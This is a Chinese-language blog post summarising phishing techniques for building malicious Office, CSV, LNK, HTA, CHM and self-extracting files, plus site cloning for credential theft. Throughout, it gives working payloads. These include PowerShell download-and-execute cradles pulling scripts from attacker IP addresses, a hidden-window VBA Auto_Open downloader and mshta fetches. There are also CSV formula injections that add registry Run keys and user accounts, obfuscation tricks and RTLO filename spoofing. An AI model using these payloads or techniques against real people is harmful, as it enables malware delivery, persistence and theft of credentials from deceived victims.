钓鱼攻击手法小结(一)

VSole2022-05-20 08:35:45

前言

在所有的APT攻击中,社工钓鱼这种攻击手法是肯定不会缺席的,可能是打点突破,可能是内网扩散,那么对于学习社工钓鱼所用到的恶意文件的制作就非常有必要。 

恶意文件制作基础手法

office-word

Word宏钓鱼

image.png

image.png

image.png

AutoExec:启动 Word 或加载全局模板时

AutoNew:每次新建文档时

AutoOpen:每次打开已有文档时

AutoClose:每次关闭文档时

AutoExit:退出 Word 或卸载全局模板时

AutoClose比较好

Word模板文件注入宏指令

利用 Word 文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意 Word 文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。

  1. 先挑个模板创建一个正常的docx文件

image.png

image.png

  1. 然后弄个带宏的模板文件dotm

宏设置为AutoClose比较好

  1. 然后修改Setting.xml.rels内的target为dotm文件的路径

image.png

最关键的是此处支持smb和http协议,也就是后面的恶意dotm文件可以放在自己的服务器上!

Target="http://www.baidu.com/hong.dotm"

Word DDE钓鱼文档

DDE,动态数据交换。

创建一个文档 dde.docx , 之后双击打开 dde.docx, 直接 Ctrl + f9 快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令 (弹出一个计算器), 实战过程中可以远程加载我们的木马。

DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"

image.png

image.png

DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"

word OLE 外部对象注入

image.png

image.png

image.png

image.png

office-Excel

Excel宏钓鱼

image.png

Sub Auto_Open()
    Execute
End Sub
Public Function Execute() As Variant
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
                Set objConfig = objStartup.SpawnInstance_
                    objConfig.ShowWindow = HIDDEN_WINDOW
                    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
                        objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.5.223/E.ps1'));", Null, objConfig, intProcessID
                    End Function

XLM / Macro 4.0 宏钓鱼

测试版本:office 21013

image.png

image.png

image.png

第一个单元格的命名须为:Auto_Open,然后把工作表设置为隐藏就可以了。

=EXEC("c:\windows\system32\cmd.exe")
=HALT()

实战可采用:

image.png

=EXEC("mshta http://192.168.5.223:80/evil.hta")
=HALT()

image.png

image.png

image.png

注意:别使用编码形式的,如:powershell -ep bypass -ec SQBFAFgAKABOAG

csv注入

csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

漏洞原理

Excel的一个特性,当单元格中内容以=-+@等符号开头时,excel将会将其当成一个公式处理。

所以当我们输入=1+1时,excel会自动将其计算

那么利用这个办法,把等号后面的内容改为执行cmd命令控制其打开一个计算器

=1+cmd|' /C calc'!A0

修改注册表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

添加用户名

=cmd|'/C net user test 123456 /add'!A0+

很多场景下服务器会过滤=,但是在excel中,+,-,@等也可以触发公式

-cmd|' /C calc'!A0
+cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

%0A绕过自动添加单引号

%0A-1+cmd|' /C calc'!A0

;绕过自动添加单引号

;-1+cmd|' /C calc'!A0

image.png

在开源的openoffice中可以直接只有DDE函数,像=DDE(“cmd”;”/C calc”;”123”)这样调用。

而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDE。注意:该方法的提示窗口只提示application而不提示topic。

1、当excel遇到+和-会自动填充=成为公式,如

+thespnquisition(cmd|'/c calc.exe'!A

2、若打开的外部应用为8字符,excel自动忽略后面的字符,如下面的两个作用相同:

=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

3、将其他表达式或空格填充在恶意表达式之前

=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A

4、通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

/c是cmd参数,表示执行后关闭窗口

REM表示后面的内容是注释

.表示空行,用于终止之前的REM

&&表示如果前一条指令执行成功则执行后一条指令

@ 表示执行窗口不显示后面的命令

^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词

?表示powershell通配符,其中匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe

“无实际用途,删了也没啥区别

所以经过解析后,实际执行的命令是:

cmd.exe /c powershell c:/windows/system32/calc.exe

当然,也可以使用字符串拼接的特性,将命令变为下面这样:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

image.png

msf也集成了这种攻击方法:

image.png

IQY特性

利用这个特性,可以把实际的payload放在自己的云端。

image.png

payload.html就是放在我们的vps的,到时候想更新payload,就更新vps的payload.html即可。

EXE钓鱼

直接把恶意木马换个名字发到目标去,可以把文件名设置的长一点,并且加上空格,这样就没那么容易看到后缀名了。

HTA文件钓鱼

HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。

HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。

就是一个html应用程序,双击就能运行。

Cobalt Strike,attacks——>packages——>HTML application

image.png

选择powershell然后单机generate,选择保存路径。将生成的.hta文件发送给别人,点击后获得shell。

LNK快捷方式钓鱼

$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\dark5\desktop\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ''+ $file
$Shortcut.Save()

test.txt的内容为:

cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.5.163:80/a'))"

image.png

RTLO字符翻转

RLO,即 Right-to-Left Override,我们可以在⽂件名中插⼊此类 unicode 字符,来达到⽂件名反转的效果。

以 cmd.exe 来举例,

将其重命名为 cmdgpj.exe, 然后在 cmd 与 g 之间右键,看图操作

image.png

image.png

其中,改名后的exe字符不能去掉,否则就不是以应用程序启动了。

Rar解压自运行

先给恶意程序改名,比如改成adobe_Reader.exe,可以同时跟多个程序一起制作自解压程序,比如可以跟flash安装程序,或者是doc文件,这样自解压程序被启动的时候就会启动flash安装程序,达到迷惑被害人的目的。

image.png

image.png

image.png

image.png

image.png

image.png

image.png

到此就全部完成:

image.png

然后可以做RLO反转,修改图标。

power query DDE

参考:https://xz.aliyun.com/t/5514

https://lengjibo.github.io/execl/

其他参考:利用Excel power query实现远程DDE执行【未仔细看】

PPT 动作按钮特性构造 PPSX 钓鱼

image.png

尽量拉满整个PPT页,然后设置动作

那么在放映的时候鼠标经过,就会运行,

嵌入js元素

这个说实话需要一点js功底。。

这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷

我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。

因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。

而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因

reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload

CHM电子书植入后门

新建html文件,编码格式ANSI,写入代码

<html><head><title>Mousejack replaytitle><head>head><body>
  command exec
  <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=',cmd.exe,/c calc.exe'>
    //这一排用于执行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行
    <PARAM name="Item2" value="273,1,1">
  OBJECT>
  <SCRIPT>
    x.Click();
  SCRIPT>
body>html>

使用easychm软件,新建-浏览-选择html文件所在目录-选择html文件-编译

反编译chm文件:hh.exe -decompile d:\Readme\ D:\Readme.chm

站点克隆

就是克隆某个站点的内容。

意欲何为?

假设目标时常会登录一个站点,我们想获取的他登录这个站点的凭证,就可以克隆该站点,然后以网站官方发邮箱跟他说,你的密码存在存在风险,请修改,再给出一个链接,当然域名要伪造的像一点,它打开就是我们伪造的站点了,跟它平常登录的一模一样。

CobaltStrike - Clone Site

但是不能克隆https的……

小飞兔下载

其实我觉得就是把POST的地址改成真正的就可以了,当然也要记录好凭证。

重定向钓鱼

使用相关漏洞钓鱼

calccmd命令
本作品采用《CC 协议》,转载必须注明作者和本文链接
安全运维:cmd命令大全(108个)
常见的钓鱼招式
2021-10-20 05:37:47
受保护的视图 为了保护计算机不受office病毒侵害,微软设计了一个收保护视图,将所有可疑的office文件以只读方式打开,在该模式下多数编辑功能被禁用。文件呗以受保护视图打开的情况有如下几种
何为csv逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字
1、文档连接钓鱼 1)LINK链接钓鱼 2)LINK快捷方式钓鱼 3)CHM文档钓鱼 CHM文档bypass waf 4)HTA钓鱼 5)宏钓鱼 宏钓鱼 bypass waf 6)OLE(Object Linking and Embedding,对象链接与嵌入) 7)嵌入JS元素 8)利用模板文件注入宏指令 9)CVE 2、伪造界面钓鱼 1)PPT动
域内横向移动技术就是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他 域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
前言在所有的APT攻击中,社工钓鱼这种攻击手法是肯定不会缺席的,可能是打点突破,可能是内网扩散,那么对于学习
渗透技巧总结
2022-01-28 21:33:52
声明以下技巧不应用于非法用途Tips 1. 手动端口探测nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证使用Wireshark获取响应包未免大材小用,可通过nc简单判断eg.对于8001端口,nc连接上去,随便输入一个字符串,
域内横向移动
2022-01-11 15:18:17
利用域内横向移动技术,访问其他域内主机
VSole
网络安全专家